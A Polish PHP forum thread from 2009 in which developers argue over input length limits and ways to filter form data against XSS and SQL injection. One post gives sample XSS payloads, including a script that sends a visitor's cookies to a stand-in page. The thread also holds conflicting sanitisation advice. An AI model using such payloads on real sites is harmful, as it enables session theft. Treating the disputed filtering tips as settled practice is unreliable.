[PHP]Bezpieczna długość zmiennej Opcje

[Szunaj85]

Staram się filtrować dane pochodzące od użytkownika. Mam na myśli różnego rodzaju formularze. Cytat z innej strony: "Zmienna powinna mieć radykalne ograniczenia wielkości, tak aby potencjalny włamywacz nie mógł zablokować naszej strony.". Chcę użyć funkcji strlen aby ograniczyć długość tekstu. I moje pytanie. Jaka jest bezpieczna długość zmiennej pochodząca od użytkownika, aby uniknąć takiej sytuacji?

Ten post edytował Szunaj85 24.04.2009, 21:00:08

[Spawnm]

a daj link do tego arta
może chodziło o atak XSS czyli długość powinna być taka aby nie dało się w klikać <script>alert('xss');</script>
ale zamiast tego można zwyczajnie dane filtrować przez strip_tags i htmlspecialchars

[Szunaj85]

http://www.webinside.pl/php/artykuly/197
Tam pisze, że 255, ale w niektórych przypadkach to trochę mało.

Ten post edytował Szunaj85 24.04.2009, 21:40:49

[batman]

Czytam i czytam i nadziwić się nie mogę, że ludzie takie bzdury wypisują. Długość zmiennej nie ma żadnego znaczenia jeśli chodzi o bezpieczeństwo. Nawet w 50 znakach można zmieścić kod z SQL Injection.
Najważniejszą rzeczą jest filtrowanie danych, a nie ich skracanie. Czyli:
1. Wywalanie kodu html/js tam, gdzie nie jest on potrzebny.
2. Walidowanie danych pod kątem ich typu.
3. Rzutowanie zmiennych przed ich użyciem. Jeśli wiadomo, że dana zmienna ma być liczbą, wówczas dla bezpieczeństwa lepiej ją zrzutować na int lub float.
I kilka innych, które akurat wyleciały mi z głowy.

[kamil4u]

1. Wywalanie kodu html/js tam, gdzie nie jest on potrzebny.

Że co? Po co? To IMO tak samo dobry pomysł jak z tą długością zmiennej - wystarczy użyć funkcji typu htmlspecialchars" title="Zobacz w manualu PHP" target="_manual! No chyba, że o czymś nie wiem...

Ten post edytował kamil4u 24.04.2009, 22:24:27

[kamil4u]

Zgoda, ale to ma się nijak do bezpieczeństwa(może trochę(w końcu to my mamy decydować jakie dane do nas trafią), ale w żaden sposób nie jest to niebezpieczne)

Ten post edytował kamil4u 24.04.2009, 22:29:14

[kamil4u]

Rozmawiamy o bezpieczeństwie naszej aplikacji. Po co mam usuwać znaczniki HTML? Co mi to da? Dałeś przykład z imieniem. To, że otrzymamy od gościa "marc&lt;b&g;in" to nic nie znaczy, w żaden sposób nam to nie zagraża. Co prawda masz rację, że lepiej usunąć, ale jeszcze raz powtarzam nie zagraża nam to. Więc pytam jeszcze raz: po co usuwać znaczniki HTML? IMO jest to bezsensu.

[kamil4u]

Pisałem, że rozmawiamy o bezpieczeństwie nie o estetyce:

Rozmawiamy o bezpieczeństwie naszej aplikacji.

Daj przykład gdy jesteśmy zagrożeni, gdy nie usuniemy znaczników. Ja takiego nie mogę znaleźć ....
Coś czuje, że się nie zrozumieliśmy na początku i nasza dyskusja dalej nie ma sensu(Ty wiesz to co ja Ci piszę, a ja to co Ty mi )

[v1t4n]

bezpieczenstwo bezpieczenstwem ale jak mi ktos zamknie diva w komentarzu to strona leci na pysk - wszelkie wypowiedzi oznaczam htmlspecialchars

[batman]

Daj przykład gdy jesteśmy zagrożeni, gdy nie usuniemy znaczników. Ja takiego nie mogę znaleźć ....

Przykład 1.

[HTML] pobierz, plaintext 
<script>window.location.href="moja.strona.html?ciacho=" + document.cookie</script>
[HTML] pobierz, plaintext 

Przykład 2.

[HTML] pobierz, plaintext 
<script>window.open("reklama porno");</script>
[HTML] pobierz, plaintext 

Przykład 3.

[HTML] pobierz, plaintext 
<meta http-equiv="refresh" content="2;url=http://jakis.adres.html">
[HTML] pobierz, plaintext 

Przykład 4.

[HTML] pobierz, plaintext 
<iframe src="http://moja.strona.html"></iframe>
[HTML] pobierz, plaintext 

Wystarczy, że zapiszesz takie coś do bazy, a następnie wyświetlisz, np jako info o użytkowniku. Wiesz co się stanie jeśli użyjesz htmlspecialchars. Dlatego trzeba wyczyścić dane z kodu html.

Jeśli nadal nie rozumiesz jakie niebezpieczeństwo niesie za sobą brak filtrowania danych, to bardzo mi przykro. EOT.

bezpieczenstwo bezpieczenstwem ale jak mi ktos zamknie diva w komentarzu to strona leci na pysk - wszelkie wypowiedzi oznaczam htmlspecialchars

Dlatego właśnie powstał bbcode, tidy i inne podobne ustrojstwa.

[Crozin]

@batman: nic się nie stanie. Zostanie wyświetlony taki kod jak tutaj - w formie tekstu. Usuwanie znaczników HTML nie jest dobrym pomysłem, bo poza HTML można usunąć normalny tekst.

Co do przykładu z imieniem. OK, usuniesz znaczniki HTML, a zostawisz !@#$%^&? No przecież dane się sprawdza i w części możemy spokojnie założyć, że jeżeli poprawnie przeszły walidację to nic nam nie grozi - będzie to numer telefonu ([0-9 ]+), imię ([a-z]+), nazwisko([a-z -]+) itp.

Z treści (jakieś wpisy, tytuły, opisy, sygnaturki - ogólnie wszystko, gdzie z założenia może iść niemalże dowolna treść) również nie wywalamy kod HTML tylko upewniamy się, że zostanie on wyświetlony tak jak zaostał wprowazdony - czyli w formie tekstu.

[batman]

@Crozin Pozostaje mi tylko jedno do powiedzenia - cytat z niezapomnianej polskiej komedii:

Pokaż go to palcem, bo chciałbym wierzyć, że śnię.

To tyle od mnie. Jeśli nadal się upierasz o pozostawieniu kodu HTML - Twoja sprawa.

[Crozin]

Pamiętaj, że cały czas mówimy w odniesieni do:

Że co? Po co? To IMO tak samo dobry pomysł jak z tą długością zmiennej - wystarczy użyć funkcji typu htmlspecialchars! No chyba, że o czymś nie wiem...

[vokiel]

Odnośnie tematu topiku ("Bezpieczna długość zmiennej") to IMHO sprawdzanie długości wprowadzanych danych też jest ważnym aspektem.
1. Co jeśli mamy ograniczoną długość pola w bazie i nastąpi próba wpisania dłuższego ciągu? W jednych bazach ciąg zostanie ucięty, dane niekompletne, i nawet nie będziemy o tym poinformowani. W innych mamy błąd.
2. Buffer overflow (np niegdyś wysłanie maila o temacie wiadomości dłuższym niz 256 znaków do odbiorcy używającego Outlok Express)

Poza tym proste sprawy jak imiona, nazwy państw, nazwiska, etc, które po prostu nie mogą być dłuższe niż ileś tam znaków. Wiadomo, że jak ktoś podaje więcej, to albo to jest po prostu błąd albo coś kombinuje/.

Zatem moim zdaniem sprawdzanie długości zmiennej ma sens.

[Szunaj85]

Nie spodziewałem się, że rozmowa pójdzie w takim kierunku. Pewne wnioski co do mojego pytania już wyciągnąłem. Może na początku nie miałem o to pytać, ale skoro tak się rozmowa potoczyła to zapytam. Jestem ciekaw jakiego typu filtry/zabezpieczenia stosujecie żeby zabezpieczyć formularz przed zwykłym użytkownikiem poprzez użytkownika, który chce coś zepsuć dla zabawy aż po hakerów? Kilka przykładów już padło. Pewnie są inne.
Jak macie jakiś ciekawy kod też wrzućcie jeśli chcecie. Wiem, że w google można znaleźć pewne informacje na ten temat, ale nie wiem czy są one nadal aktualne. Poza tym pewnie nie wszystkie znalazłem.

Ten post edytował Szunaj85 25.04.2009, 21:14:46

[Spawnm]

mysql_real_escape_string" title="Zobacz w manualu PHP" target="_manual jeśli treść ma iść do bazy , chroni przed sql injection.
htmlspecialchars" title="Zobacz w manualu PHP" target="_manual na XSS , imho wystarczy

[batman]

Odnośnie tematu topiku ("Bezpieczna długość zmiennej") to IMHO sprawdzanie długości wprowadzanych danych też jest ważnym aspektem.

Jak najbardziej. Jednak autorowi nie chodziło o to, czy należy sprawdzać długość ciągu, a o to, czy jest jakaś konkretna długość zmiennej, do jakiej powinien ją obcinać.

Podstawowe zabezpieczenia:

1. Funkcje z rodziny escape (mysql_real_escape_string, pg_escape_string, itd).
2. Usuwanie znaczników html - strip_tags.
3. Zamiana na encje wszystkich znaków, które mogą coś rozwalić - htmlentities/htmlspecialchars.
4. Walidancja danych pod kątem ich typu.

No i kilka dobrych rad o bezpieczeństwie.
1. Zawsze filtruj dane, nawet jeśli wiesz, że pochodzą one z "zaufanego" źródła.
2. Filtruj wszystkie dane - post, get, cookie, server.
3. Dane można (i powinno się) filtrować dwukrotnie - podczas zapisywania do bazy oraz podczas wyświetlania danych pobranych z bazy.

[Spawnm]

jako osoba filtrująca tylko przy zapisie mam pytanie:
jak filtrujesz dane przed xss przy odczycie ?
uwzględniając że przy zapisie użyłeś np nl2br " title="Zobacz w manualu PHP" target="_manual , jakiś bbcode do linków i obrazków czyli będzie sporo html .

[l0ud]

W takim wypadku trzeba najpierw przefiltrować dane, a dopiero później przepuścić przez nl2br i pochodne. To przecież logiczne

[dr_bonzo]

Ja nie kasuje tagow, i nie zapisuje w bazie danych po nl2br().

Do bazy ida takie dane jakie wyslal user, czyli z tagami(*) i \n

Przy wyswietlaniu htmlspecialchars() i tagi nam nie grozne. I nl2br jak potrzebuje


*) oczywiscie nie wszedzie: na pewno nie w datach, liczbach itp, ale w komentarzach - jak najbardziej.
Pozatym jak napisac takie phpfi.com jak skasujesz tagi przez zapisem?

[Szunaj85]

Przeczytałem wasze posty i poszperałem w internecie. Zainteresowałem się funkcją strip_tags(). Chciałbym dobrze zrozumieć w jaki sposób można zaatakować stronę oraz samą funkcję w skrypcie.
Zacznę od formularza. Niech to będą komentarze.

Kod

Nick: [xxx]
Wiek: [30 ]
Komentarz:[<b>Zhakowałem ci stronę</b>]

No i jakieś zmienne $nick, $wiek, $komentarz. Czy mam rozumieć, że w powyższym wypadku haker zaatakował poprzez zmienną $komentarz, aby pogrubić tekst czy przez inne zmienne też jest to możliwe oczywiście odnosząc się do powyższego przykładu. No i sama funkcja

[PHP] pobierz, plaintext 
<?php
$ciag = 'Witaj <b>świecie</b>!!';  
 echo("strip_tags($ciag)");
?>
[PHP] pobierz, plaintext 

Rozumiem, że bez względu ile zmiennych by nie było wystarczy użyć jej przed samym wyświetleniem lub zapisem do pliku. Tylko w jakiej sytuacji jej użyć? Załóżmy, że zapisujemy komentarze do pliku txt. Funkcję użyć przed zapisem, przed wyświetleniem po odczytaniu, a może najbezpieczniej w obu przypadkach.
Jeśli znacie jeszcze jakieś inne funkcje, podzielcie się nimi.

Ten post edytował Szunaj85 28.04.2009, 22:11:55

[batman]

Moim zdaniem zmienna powinna być czyszczona z tagów html zarówno przed zapisem jak i przed wyświetleniem - nigdy nie wiadomo, czy nie została ona zmodyfikowana w magazynie.

Wszystkie niezbędne funkcje zapewniające bezpieczeństwo możesz znaleźć w wątku.

[nieraczek]

Stosując strip_tags przed zapisem do bazy można stracić treść, która jest między tagami. To byłoby chyba bez sensu jesli potem przy wyświetlaniu stosuje się htmlspecialchars().


A jakbym chciał pozwolić użytkownikowi na pogrubianie, łamanie linii czy zmiane czcionki to czy to jest bezpieczne przed wyświetleniem:

[PHP] pobierz, plaintext 
<?php
trim(strip_tags($napis, "<b><font><br/>"))
?>
[PHP] pobierz, plaintext 

?
Usuwa wszystkie taki z wyjątkiem wymaganych.

Ten post edytował nieraczek 29.04.2009, 08:01:22

[nospor]

dane, które z założenia nie powinny zawierac kodu html (czyli na dobrą sprawe prawie wszystkie) nalezy przepuszczac przez strip_tags. Ma nie zawierac i koniec kropka.
Nalezy oczywiscie pamietac, ze przed ich wyswietleniem nalezy je rownież przepuscic przez htmlspecialchars() - dla pewnosci. Nigdy nie wiadomo czy na jakims etapie rozwoju aplikacji nie wkradnie nam sie jakis blad w filtracji, wiec dla spokoju warto uzywac tej funkcji.

Co do glownego problemu w temacie:
cytat z arta, ktorego podano na początku:

Zmienna powinna mieć radykalne ograniczenia wielkości, tak aby potencjalny włamywacz nie mógł zablokować naszej strony.

A nastepnie w kodzie dają ograniczenie do 255 znakow
Zeby zablokowac komus strone to i 50 znakow starczy wiec zacytowany argument jest dość smieszny.
Owszem, należy sprawdzac dlugość tekstu, bo jesli baza przyjmuje tylko 255 znakow to dobrze by bylo, by tylko do niej tyle wkladac. Ot i cała filozofia

Stosując strip_tags przed zapisem do bazy można stracić treść, która jest między tagami.

Toż to straszne. Jak ktos jest na tyle glupi (lub tez probuje nam XSS walnac),ze swoje imie wklada miedzy tagi, to jego sprawa Poza tym strip_tags tak latwo nie usuwa tresci, wiec naprawde nie ma co sie martwic

[nieraczek]

ok dzieki nospor

A co z:

[PHP] pobierz, plaintext 
<?php
trim(strip_tags($napis, "<b><font><br/>"))
?>
[PHP] pobierz, plaintext 

Myślę o sytuacjach, że np. wewnatrz tagu da się inny tag:
<b <script>alert("lol")</script> /> komentarz </b>

akurat w powyższym przypadku jest ok, ale są może inne niebezpieczeństwa ?

Ten post edytował nieraczek 29.04.2009, 08:14:48

[nospor]

@nieraczek jesli juz tak bardzo chcesz komus pozwolic na niektore tagi to:
1) albo wprowadź bbcode
2) albo zainteresuj się klasą HTMLPurifier - posiada duze mozliwosci w filtracji tekstu, jego zabezpieczenia, usunieciu potencjalnych xss itp.

[ddiceman]

Czytam i czytam i nadziwić się nie mogę, że ludzie takie bzdury wypisują. Długość zmiennej nie ma żadnego znaczenia jeśli chodzi o bezpieczeństwo. Nawet w 50 znakach można zmieścić kod z SQL Injection.
Najważniejszą rzeczą jest filtrowanie danych, a nie ich skracanie. Czyli:
1. Wywalanie kodu html/js tam, gdzie nie jest on potrzebny.
2. Walidowanie danych pod kątem ich typu.
3. Rzutowanie zmiennych przed ich użyciem. Jeśli wiadomo, że dana zmienna ma być liczbą, wówczas dla bezpieczeństwa lepiej ją zrzutować na int lub float.
I kilka innych, które akurat wyleciały mi z głowy.

Batman, bezpieczeństwo to nie tylko obrona przed SQL Injection. Co jeśli do pola typu VARCHAR(255) spróbujesz wstawić 500 znaków? W aktualnych wersjach MySQLa nic - rekord się nie doda. We wczesniejszych dodawał sie, ale ucięty - jeśli przez jakiś CMS wstawiany był kod HTML, to można było stracić zamykające tagi i tym samym zniszczyć układ strony. Ale byly też przypadki, że dalo sie tym mechanizmem uszkadzać tabele, co możesz sprawdzić tu i nie oznacza to, ze już takich problemów nie ma i nie będzie. Nie mów zatem, ze bzdurą jest ochrona dlugosci danych przed ich wstawieniem do BD.

Ten post edytował ddiceman 29.04.2009, 10:04:56

[nospor]

@ddiceman akurat batman mowiąc "bzdura" nie mial na mysli dlugosci kolumny w bazie, tylko atak ssqlinjection czy xss. A wlasnie z artykulu to wlasnie wynikalo
To ze trzeba sprawdzic dlugosc pod wzgledem dlugosci w bazie danych to sprawa oczywista i juz pisalem w poprzednim poscie o tym

[batman]

Ludzie. Autor nie pytał się czy trzeba sprawdzać długość ciągu, tylko czy jest jakaś długość, która uniemożliwi atak. Czytajcie ze zrozumieniem.
A to, że konieczne jest sprawdzanie długości ciągu przed zapisem do bazy, jest jasne jak słupek uranu. Równie dobrze możesz się przyczepić, że nie napisałem jednoznacznie, że jeśli w formularzu użytkownik wysyła datę, to na serwerze trzeba sprawdzić, że to jest data.

[megawebmaster]

Przy okazji - strip_tags przecież umożliwia przepuszczenie przez niego tagów, które wg. Was mają być bezpieczne. Potem czeka tylko dodatkowa filtracja.